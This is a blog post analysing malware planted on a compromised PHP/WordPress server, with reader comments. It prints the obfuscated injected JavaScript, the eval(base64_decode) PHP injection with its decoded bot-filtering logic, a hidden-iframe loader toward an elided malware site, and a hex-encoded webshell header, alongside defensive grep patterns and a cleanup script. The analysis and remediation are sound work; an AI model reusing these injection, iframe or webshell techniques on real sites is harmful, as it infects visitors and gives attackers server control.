RSS
 

Fixing an Infected PHP/WordPress Web Server

17 Apr

Fixing an infected WordPress server. Darn if the ISP serving up our PHP and WordPress content wasn’t attacked with an exploit. So I did a lot of learning as I cleaned up my web server, this past weekend. The goal of this exploit was to infect visitors of the web site with viruses by coercing visitors’ browsers to download malware from predefined third-party sites, seeded with the malware. That means modifying web site code to send visitors to those malicious sites.

After noticing some strange behavior that tripped my anti-virus software on my Windows machine, I realized (using the browser’s “view source” function) that there was some unexpected JavaScript at the top of every page’s source:

<script type="text/javascript">// <![CDATA[
d=Date;d=new d();h=-parseInt(‘012′)/5;if(window.document)try{Boolean(true).prototype.a}catch(<span class="hiddenSpellError" pre="">qqq</span>){st=String;zz=’al’;zz=’zv’.substr(1)+zz;ss=[];if(1){f=’fromCh’;f+=’arC’;f+=’qgode'["substr"](2);}w=this;e=w[f.substr(11)+zz];t=’y’;}n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=4-1-2-1;i!=599;i++){j=i;if(st)ss=ss+st[f](-h*(1+1*n[j]));}if(zz)q=ss;if(t)e(""+q);
// ]]></script>

Hunting for the Culprit(s)

Since the root of one of the sites is managed by our WordPress installation, I searched the site’s files for the errant code. It wasn’t found, so I had to dig deeper. I found that every index.php file across my account had a line of odd PHP code inserted at the beginning. (I no longer have the exact code because I wrote a script to clean up all those files and didn’t think to save an example). I’m not 100% positive how these files got modified (a little about that, later), but the gist of the exploit works like this:

  1. The first line of every index.php file contains something like the following:
    <?php eval(base64_decode('…'));?>
    

    The “…” is a very long sequence of characters—passed to the base64_decode() function.

  2. The encoded text decodes as following PHP code:
    error_reporting(0);
    $bot = FALSE ;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $botsUA = array('12345','alexa.com','anonymouse.org','bdbrandprotect.com','blogpulse.com','bot','buzztracker.com','crawl','docomo','drupal.org','feedtools','htmldoc','httpclient','internetseer.com','linux','macintosh','mac os','magent','mail.ru','mybloglog api','netcraft','openacoon.de','opera mini','opera mobi','playstation','postrank.com','psp','rrrrrrrrr','rssreader','slurp','snoopy','spider','spyder','szn-image-resizer','validator','virus','vlc media player','webcollage','wordpress','x11','yandex','iphone','android','chrome');
    foreach ($botsUA as $bs) {
      if(strpos(strtolower($ua), $bs)!== false) {
        $bot = true; break;
      }
    }
    if (!$bot) {
      echo(base64_decode('…');
    }
    

    If the “browser” is not a bot, scanner, mobile device, not from OS X, etc., then the “…” data is decoded and ins inserted into the page content sent to the browse—for the most part, this is primarily targeted at Windows machines running Firefox or Internet Explorer.

  3. The code inserted into the beginning of the output is a <script> tag of JavaScript code, shown at the beginning of this article. This obfuscated code is functionally the same as:
    ss=[];
    n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5".split("!");
    for(i=0; i != n.length; i++) {
      j=i;
      ss=ss + String.fromCharCode(2*(1+1*n[j]));
    }
    eval(""+ss);
    
  4. The client (browser) interprets the JavaScript which decodes and evaluates more JavaScript. This code creates a iframe, if there is a body tag, which auto-refreshes a link to web address; presumably, to download malicious code to the user’s Windows machine. The “…” below is a reference to one of many malware sites.
    if (document.getElementsByTagName('body')[0])
    {
      iframer();
    } else {
      document.write("");
    }
    function iframer()
    {
      var f = document.createElement('iframe');
      f.setAttribute('src','http:// … /?go=2');
      f.style.visibility='hidden';
      f.style.position='absolute';
      f.style.left='0';
      f.style.top='0';
      f.setAttribute('width','10');
      f.setAttribute('height','10');
      document.getElementsByTagName('body')[0].appendChild(f);
    }
    

Hunting for the Attacker

That’s how this exploit works, but how did that code get onto the servers?

All the millions Windows machines share the same hardware and operating system definitions; so virus attacks can be written in tiny, unreadable, efficient binary executables. But in order to build an attack that’ll work against the widest variety of web servers (whether Windows, OS X, Solaris, Linux or Unix variants, or other hardware or operating system platform), they need to be in a text form that can be interpreted across a wide variety of web servers. PHP is the most popular web server technology on the planet (Facebook is running, largely, on PHP), so writing exploits against PHP web servers covers a broad swath of the internet.

With the help of my ISP, we eventually located some suspicious files that provided backdoor access to the web server’s file system and allowed an attacker to execute commands on the server without direct access, as I have.

We found several oldlib.php files and a courses.php that implement the “Backdoor PHP/WebShell.A” exploit—they can have any name. The key is that these files must be accessible via web URL so that the attacker can gain access to the web server with full access.

<!--?php $auth_pass = " … "; $color = "#<span class="hiddenSpellError" pre="color "-->df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/D … 13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");?>

The last line resolves to a more readable:

preg_replace("/.*/e","eval(gzinflate(base64_decode('7X1re9s2z/Dn9Vcwmjf … 13SwzDxAYT72vwA=')));",".");

This statement expands out to a 63KB of PHP code which provides a backdoor user-interface to the web server, a Trojan known as Backdoor PHP/Shell.G!  Access to this file by an attacker can wreak whatever havoc they wish; such as infecting all the index.php files with the code above.

But that malware may not have infected my index.php files. I also found several identical unencrypted PHP files that are identified as Backdoor PHP/RST.AC. Their file-names begin with “wp-” so I am guessing that this is a specific WordPress attack. These files simply needed to be deleted.

The Fix

To fix the infected (mostly index.php) files, I simply needed search for eval(base64_decode( on the first line of every file. I’ve written the following Bash shell-script, called “fix” to do this:

for file in "$@"; do
  echo --- Trying `wc -l $file`
  if grep -n 'eval(base64_decode(' $file | grep '\^1:'; then
    cp -p $file $file.virus
    tail -n+2 $file.virus>$file
    echo Fixed `wc -l $file`
  else
    echo !!! Cannot fix $file
fi
done

You can run it by executing:

fix `grep -lr --exclude-dir=~/logs 'eval(base64_decode(' *`

The grep command searches files for code that evaluates encoded data—a clear indication that the code is trying to hide its true intent. The script backs up the infected file, suffixing its name with “.virus” and deletes the offending code from the first line. When, when you are satisfied that the fixes didn’t break anything, you can delete the backed-up infected files:

rm `find . -name '*.virus'`

Also look for files implementing the PHP/WebShell.A exploit (and perhaps others) that try to hide the “eval(” call by encoding its text in the form of hex characters.

grep -lr '\x65\x76\x61\x6C\x28'

Check out How to find backdoor PHP shell scripts on a server for more tips on how to suss out other exploits.

Securing PHP Web Servers

I have a lot to learn about how to secure the server from future backdoors from being installed. I don’t know if this is 100% preventable when I rely on such versatile applications as WordPress running on it, but two tips you might keep in mind:

  1. Make sure installed software (e.g., WordPress) is up to date as well as any plugins, themes, and other customizations.
  2. Make sure that any code you have does not allow global writable permissions (this is what allows easy dropping of files and file modifications to a web-server’s file-system). To scan for writable files and directories, try
    find ~ -perm -002

Resources

Enhanced by Zemanta
 
 

Tags: , , , , , , ,

  • Pingback: Marcus Nyberg | Problem with eval( gzinflate( base64_decode( trojan virus in php | Marcus Nyberg()

  • Gian Luigi

    Thanks, It was useful. I had the very same problem. If you need it, I have saved the original undecoded malicious code..

  • Guest

    Thanks your script helped me fix my hacked site, although I didnt get the ‘^1:’ part so I removed the if condition (and the else part) to simply it as I see that when the fix script is called you use the grep command to filter the files anyway.

  • James Moore

    Thanks your script helped me fix my hacked site, although I didnt get the ‘^1:’ part so I removed the if condition (and the else part) to simplify it as I see that when the fix script is called you use the grep command to filter the files anyway.

  • Sameer

    Thanx Bill, I have same problem in my site developed joomla.

  • Stacey White

    SQL injection is by far the biggest threat to wp security. congrats for sharing such fancy information with all of us, by far I reckon this article as most “practical”.

    -Stacey
    ehdf.com

  • disqus_8Qki17jjgZ

    Thank you so much, I think I have finally located the last of the backdoor disguised with a bunch of hex

  • Manfred Bolz

    Link in Resources to

    Website security: How to find backdoor PHP shell scripts on a server

    results in redirecting to a scam website. Sadly, that this happens at a useful content/link.

  • Manuel Nauta

    Hey there, how can I contact you for some more details on the php cleaning code in the article?

  • Thanks, Manfred. Sorry it took me so long, but I updated the link. It looks like the domain for the original link has not been renewed.

 
%d bloggers like this: